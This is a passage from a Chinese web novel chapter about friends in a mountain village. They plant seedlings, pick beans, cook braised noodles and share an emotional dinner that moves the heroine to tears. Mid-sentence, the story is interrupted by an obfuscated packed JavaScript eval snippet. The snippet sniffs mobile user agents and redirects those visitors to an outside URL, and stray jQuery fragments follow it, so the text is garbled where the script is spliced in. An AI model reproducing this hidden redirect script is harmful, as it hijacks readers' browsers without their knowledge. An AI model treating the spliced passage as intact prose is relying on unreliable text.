劳累了一整天，番茄苗和葡萄苗全数被种下。
傍晚时分，夕阳像个巨大的咸蛋黄，缓缓沉入远山的怀抱，将天空染成层次丰富的暖色调，橘红、金粉、淡紫……温柔地笼罩着小小的山村和山坡上那些新生的绿色。
“啊——！”将最后一颗菜苗种下，夏叙言直起腰，冲天喊了一声，“终于结束了，我的腰啊……”
他喊得太用力，惊起不远处树梢上一群麻雀，扑棱棱飞走了。
傅拭雪从大棚那头走过来，扫了一眼大家，确定没人落东西，才开口，“走吧，回去做饭。”
一行人拖着疲惫的身子往回走，锄头扛在肩上，在夕阳里拉出长长的影子。
回到小院，傅拭雪走到两人身旁，拍了拍他们的肩膀。
“夏叙言，傅砚修，二伯那我已经打过招呼了，你们摘些豆角回来，顺便看看有没有土豆，刨几个回来。”
“得嘞！”夏叙言应了一声，拉着傅砚修就走。
傅砚修被他拽得踉跄了一下，手里的篮子差点掉地上。
二伯家的菜地在院子后面，不大，但收拾得整整齐齐，豆角被养在棚里，里面的温度适宜。豆角架子搭得高高的，翠绿的豆角垂下来，一串一串，看着就喜人。
傅砚修撸起袖子好奇走上前，一把揪住一根豆角，用力一拽。
藤蔓晃了晃，豆角没下来。
他又拽了一下，还是没下来。
夏叙言蹲在旁边，看着他那副跟豆角较劲的样子，沉默了两秒。
“你倒是找对地方再拽。”
“我知道！”
“那你拽的是藤。”
傅砚修低头一看。
是吗？
他讪讪地松开手，然后找到豆角根部，轻轻一掐，豆角乖乖落在手里。
夏叙言没说话，只是嘴角动了动，然后蹲到另一排架子前，开始摘。
他的动作很慢，很仔细，每摘一根都要看一眼，确认是老还是嫩，然后在心里默默分类。
摘了十几根，他忽然问，“老的放哪边？”
傅砚修头也不抬，“老的不要。”
夏叙言看着手里那根稍微有点老的豆角，沉默了一秒，然后把它放进旁边的筐里。
傅砚修回头看见，愣了一下，“不是说了老的不要吗？”
“可以挑出来炒别的。”夏叙言说，“不要浪费。”
傅砚修看着他，“行吧，那你负责挑，我负责摘。”
两人一个摘一个挑，效率倒是挺高。
摘完豆角，夏叙言拎起锄头，走向旁边的土豆地。
“土豆怎么刨？”傅砚修跟过来。
“看着。”夏叙言举起锄头，往土里一刨，再一撬，几颗圆滚滚的土豆从土里滚出来，沾着泥，看着特别喜人。
他捡起来，在手上掂了掂，递给傅砚修，“拿去，够吃一顿了。”
傅砚修接过来，低头看着那几颗沾满泥土的土豆，忽然问，“怎么知道下面有土豆？”
夏叙言指了指地面，“你看，土裂开了，说明下面有东西。”
傅砚修蹲下去，仔细看了看那道裂缝，点点头。
-
院子里，熟悉的炊烟准时袅袅升起，混合着柴火特有的香气。
李乘歌已经开始和面了，沈摘星蹲在旁边，一边看着，一边加水。
面团在李乘歌手下慢慢变得光滑，揉了十几分钟，面团终于光滑了。
李乘歌把它放在盆里，盖上湿布，让它醒一会儿。
又过了十分钟，李乘歌掀开湿布，把面团拿出来。案板上撒了薄薄一层面粉，面团放上去，开始擀。擀面杖在她手里滚动，面团慢慢变大变薄，变成一张圆圆的大饼。
沈摘星撸起袖子，将擀好的面饼切成均匀的面条。
等所有的面条都做好，沈摘星又往上面覆上一层面粉，“好了。”
傅拭雪在灶台前忙活，李乘歌端着切好的面条走过来，站在旁边看着。
傅拭雪将五花肉切薄片，下锅煸炒，油脂慢慢逼出来，滋滋作响，香气飘满整个院子。
院子里传来夏叙言的声音，“豆角摘回来了！土豆也刨了！快夸我！”
傅砚修也不甘落下，“我也摘了不少，也要夸夸。”
“先夸我！”
“先夸我！”
两个人吵着吵着，声音越来越近。
傅拭雪接过两人手中的竹篮，豆角清洗后掐成段，倒进去翻炒，变色后加水，盖上锅盖焖。
这边焖着，傅拭雪也没有空下来，他给土豆去皮然后切成段状。
豆角焖了十分钟，李乘歌走到灶旁，“差不多可以放面了。”
傅拭雪点点头，掀开锅盖，把面条均匀地铺在豆角上面，放上土豆再盖上锅盖，调小火。
“等汤汁收干就行。”他擦了擦手，转头看她。
李乘歌靠在灶台边，夕阳从窗户照进来，落在她侧脸上。
又过了十五分钟。
傅拭雪掀开锅盖看了一眼，汤汁收得差不多了，面条吸饱了汤汁，油亮亮的，香味扑鼻。
“好了。”他说，“叫大家吃饭。”
李乘歌走到门口，对着院子里喊了一声，“吃饭啦——”
其余四个人已经在桌边坐好了，李乘歌把碗筷摆好，傅拭雪端着一大锅豆角焖面走出来，放在桌子中央。
“二、四、六……齐了，吃饭！”
大家围坐在院子里的长木桌旁，头顶是尚未完全暗下来梦幻般的渐变色天幕。
桌上的粗陶碗盘冒着诱人的白色热气，香气霸道地弥漫开来，与傍晚清凉的空气混合，勾得人饥肠辘辘，味蕾苏醒。
夏叙言第一个拿起筷子，“我开动了！”
沈摘星也拿起筷子，夹了一根面条，吹了吹，小心地送进嘴里。
“好吃！”她眼睛亮了。
傅砚修低头看了看自己碗里的面条，又看了看那盘豆角。
今日晚餐——豆角焖面。
评价——好吃。
宋鹤眠夹了一筷子，尝了尝，点点头，“豆角掐得刚好。”
傅砚修抬眸看着她，嘴角不自觉上扬。
夕阳慢慢沉下去，院子里灯光亮起来，碗筷声、说话声、笑声混在一起。
累了一整天，但这一顿饭，吃得格外香。
沈摘星小口吃着面，被一小粒辣椒呛到，小脸立刻皱成一团，吐着舌头，眼眶泛红，手忙脚乱地找水喝，那模样又可怜又可爱，逗得大家忍俊不禁。
夏叙言拍拍她的背，“慢慢喝，别呛到了。”
等沈摘星顺过来之后，他才低头继续吃起来。
傅砚修对这碗点名要的豆角焖面显然极其满意，吃得很专注，吃得额角冒汗，嘴角不小心沾了深色的酱汁也浑然不觉。那种全然沉浸在食物中的满足感，让他看起来格外真实，看来是真的饿了。
傅拭雪不怎么说话，但眼神始终照顾着全场，不时用公筷给大家添菜，把肉多的部分自然地夹到李乘歌和沈摘星碗里，把豆角多的夹给傅砚修和夏叙言。
李乘歌坐在其中，握着筷子，脸上带着温柔的笑意，看着大家狼吞虎咽，偶尔和身边的宋鹤眠低声交换一句话，或是提醒沈摘星慢点吃小心烫。
她的目光静静地扫过桌上每一张生动的脸，观察着这些鲜活无比细节。
夏叙言因从傅砚修那里抢肉成功而扬起的带着孩子气得意的眉毛。
傅砚修歪头看着夏叙言，抿着唇，脸颊鼓起小小的包。
宋鹤眠安静地吃着饭，目光却时不时落在傅砚修那个鼓起的腮帮子上。她看了一会儿，忽然伸出手，用筷子的另一头轻轻戳了一下那个小包。
傅砚修愣了一下，抬头看她。
“鼓得挺好玩的。”宋鹤眠面不改色，继续吃饭。
傅砚修的脸腾地红了。
夏叙言在旁边笑出了猪叫。
傅拭雪不怎么说话，但眼神始终照顾着全场。
沈摘星的汤碗快见底了，他伸手把汤盆往她那边挪了挪。夏叙言只顾着抢肉，他夹了一筷子青菜放进夏叙言碗里，什么也没说。
傅砚修那个鼓起的腮帮子刚消下去，他看了一眼，嘴角动了动，把自己碗里最后一块排骨夹了过去。
轮到自己的时候，他刚夹起一筷子豆角，看碗里已经满了。他顿了一下，把那筷子豆角放进了自己碗里。
李乘歌都看见了，她舀勺喝汤，假装没看见，但嘴角弯了弯。
不知何时开始，小院里鲜活的画面成了生活中的常态，这是以前的她从来没有想到过的。
看着看着，一股陌生而温热的情绪，毫无预兆地从心底丝丝缕缕地渗透出来，悄无声息地向上蔓延，浸润了她的眼眶和鼻尖，带来一阵微微令人心悸却又无比柔软的酸涩感。
并不难受，反而有种奇异的充盈。
她眼眶猛然一热，瞬间泛起湿润的红色。
她立刻仓促地低下头，避开可能投来的目光，借着喝汤的动作，掩饰性地轻轻吸了吸有些发酸的鼻尖，让那突如其来酸涩不至于凝聚滴下来。
然后，她迅速而安静地将视线挪回自己面前的粗陶碗里，盯着那几根浸透了肉汁的豆角和裹着浓稠酱汁的面条。
怎么会呢？
怎么会连这样平平淡淡、嘈杂混乱、毫无精致可言的一顿饭，连这些琐碎到不值一提的日常片段……都让人觉得温暖。
心里某个一直空落落、冷冰冰、绷得紧紧的地方，像被温泉缓缓注入，被阳光静静晒暖，被这些真实的笑语和关怀填得满满的，暖融融的，胀胀的。
这么……踏实。
这么……幸福。
“这么哭了。”傅拭雪放下碗，走到她身边。
他的声音不大，但桌上所有人都停下了动作。
李乘歌愣了一下，抬起头，眼眶还红着，睫毛上挂着没来得及擦掉的泪珠。她看着傅拭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310835|198833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
雪那张写满紧张的脸，忽然意识到自己刚才那点情绪被他看见了。
“没、没有……”她下意识抬手去擦，手指沾了面粉，越擦越花。
傅拭雪蹲在她面前，从口袋里掏出那张皱巴巴的纸巾。
还是下午她塞给他的那张。
然后轻轻按在她眼角。
动作很轻，像怕弄疼她。
李乘歌愣住。
他就那么蹲着，微微倾身，用那点干净的纸巾，把她睫毛上还挂着的那颗泪珠吸掉。然后往下，把她脸颊上被面粉蹭花的地方蹭了蹭，蹭不干净，他也不急，就那么一下一下地擦着。
她就这样看他。
他正看着她，眼神里没有追问，没有担忧过度，只是很安静地看着。
旁边，夏叙言筷子停在半空，询问，“是不是辣椒太辣了？”
沈摘星赶紧把自己的水杯推过来，“乘歌姐姐喝水！”
宋鹤眠没说话，只是把那碟纸巾往李乘歌手边又推了推。
李乘歌看着这一桌子人，忽然笑了。
笑得眼眶又红了。
“没事。”她吸了吸鼻子，声音还有点哑，“感性了一下。”
“？？？？？”
投来的五双眸里都充满了疑问，夏叙言筷子举在半空，目光投过去。沈摘星歪着脑袋，眼睛里全是不解。傅砚修抬起头，眉头微微皱着，像是在脑子里搜索这个词的准确定义，宋鹤眠难得没有移开视线，就那么安静地看着她。
傅拭雪已经坐回位置，看着她。
“想到了什么？”他问，声音不高。
李乘歌的目光从一张脸移到另一张脸上，夏叙言和沈摘星乖巧地等着，傅砚修虽然没说话，但耳朵竖着，分明在认真听。宋鹤眠端着碗，嘴角那点弧度淡淡的，像是在等一个答案。傅拭雪坐在她对面，眼神安静，不急不躁。
她忽然觉得，这个问题好像不用回答。
但话已经出到了嘴边。
“我向往的生活，”她顿了顿，目光又扫过这一桌人，“大概就是……这样吧。”
“有彼此照顾的人在身边，有可以毫无负担说笑打闹、分享琐碎的朋友围绕，有一份能为之忙碌、付出汗水也收获果实的具体事情，感到自己被需要，也在实实在在地付出。”
“每天会为一些具体而微的小事烦恼、劳累、甚至抱怨。比如天气突变，比如活儿太重腰酸背痛，比如饭做少了不够吃，比如手上磨出了恼人的水泡，但总会在不经意间，被某些微小却温暖的瞬间悄然治愈。”
“可能是一句随口而出却真诚无比的关心，一个默契到不需言说的理解眼神，一碗恰好对了胃口的热饭，一片偶然抬头看见的绚烂晚霞，一颗在清澈夜空中显得特别亮的的星星。”
“或者，就仅仅是像此刻这样，经过一整天的辛苦劳作后，大家围坐一起，吃着简单的饭菜，说着无意义的闲话，身体疲惫，心里却满满当当的这份踏实与安宁。”
“日复一日，年复一年。体会过收获的喜悦也必然体会过耕耘的艰辛，经历过短暂的相聚也终须面对或长或短的别离，品味过生活的清甜也定然咽下过它的苦涩。”
“然后，在所有这些真实而复杂、平凡却珍贵的滋味里，慢慢地、努力地、有时踉跄有时坚定地生活着，前行着，最终，在时光中渐渐沉淀。”
这个认知，如此简单，近乎直白，没有什么深奥的哲理，却又如此沉重，如此令人心向往之，仿佛为她打开了一扇通往另一种真实世界的门。
门外不再是冰冷的数据、精密的算计和永无止境的竞争，而是有温度的土地、有汗水的生活、有烟火气的人间。
她轻轻放下汤勺，瓷质的勺子与粗糙的碗沿碰撞，发出细微的叮一声轻响，却和谐地融入了此刻院子里温暖嘈杂充满生活气息的声浪里。
夏叙言响亮的耍宝声、沈摘星被逗笑的清脆声音、傅砚修偶尔憋不住漏出的气音、宋鹤眠极轻的鼻音、傅拭雪低沉的应答……成为这曲生活交响乐中一个不起眼却不可或缺的音符。
李乘歌抬起头，目光再次缓缓地扫过桌上每一张或疲惫、或满足、或欢笑、或平静的脸，仿佛要将这一幕刻入心底。
然后，她望向远处，那里，最后一抹瑰丽的晚霞正沉入黛色山峦的怀抱，取而代之的，是星光开始璀璨的夜空。
山风轻柔地吹过，带来了新栽树苗叶片摩擦的细微声响，带来了泥土被浇灌后的湿润气息，也带来了某种崭新而踏实的东西，悄然落在心间。
日子还长，活计一件件做，总有做完的时候，也总有新的开始。
这种酸涩她并不排斥，甚至她还很愿意去感受去体会。
怎么会连平平淡淡的吃饭也这么幸福。
一个清晰而朴素的定义，忽然毫无征兆却清晰地划过她的脑海，像寂静夜空中一颗骤然划过的流星，虽然短暂，却照亮了心底某些长久以来的迷惘与荒芜。
因为生活啊，是一个动词。